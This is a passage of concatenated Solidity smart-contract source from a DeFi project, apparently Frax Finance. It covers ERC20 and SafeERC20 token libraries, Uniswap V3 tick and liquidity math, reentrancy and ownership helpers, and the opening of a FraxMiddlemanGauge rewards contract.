{decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "./IERC20.sol"; import "../Math/SafeMath.sol"; import "../Utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(int256(absTick) <= int256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './FullMath.sol'; import './FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma abicoder v2; import '../ERC721/IERC721.sol'; // Originally INonfungiblePositionManager interface IUniswapV3PositionsNFT is IERC721 { struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, // [0] address operator, // [1] address token0, // [2] address token1, // [3] uint24 fee, // [4] int24 tickLower, // [5] int24 tickUpper, // [6] uint128 liquidity, // [7] uint256 feeGrowthInside0LastX128, // [8] uint256 feeGrowthInside1LastX128, // [9] uint128 tokensOwed0, // [10] uint128 tokensOwed1 // [11] ); /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================== FraxMiddlemanGauge ======================== // ==================================================================== // Looks at the gauge controller contract and pushes out FXS rewards once // a week to the gauges (farms). // This contract is what gets added to the gauge as a 'slice' // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../ERC20/ERC20.sol"; import "../ERC20/SafeERC20.sol"; import "./FraxGaugeFXSRewardsDistributor.sol"; import "../Misc_AMOs/polygon/IRootChainManager.sol"; import "../Misc_AMOs/solana/IWormhole.sol"; import '../Uniswap/TransferHelper.sol'; import "../Staking/Owned.sol"; contract FraxMiddlemanGauge is Owned { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances and addresses address public reward_token_address = 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0; // FXS address public rewards_distributor_address; // Informational string public name; // Admin addresses address public timelock_address; // Gauge-related address public bridge_address; uint256 public bridge_type; address public destination_address_override; string public non_evm_destination_address; // Tracking uint32 public fake_nonce; /* ========== MODIFIERS ========== 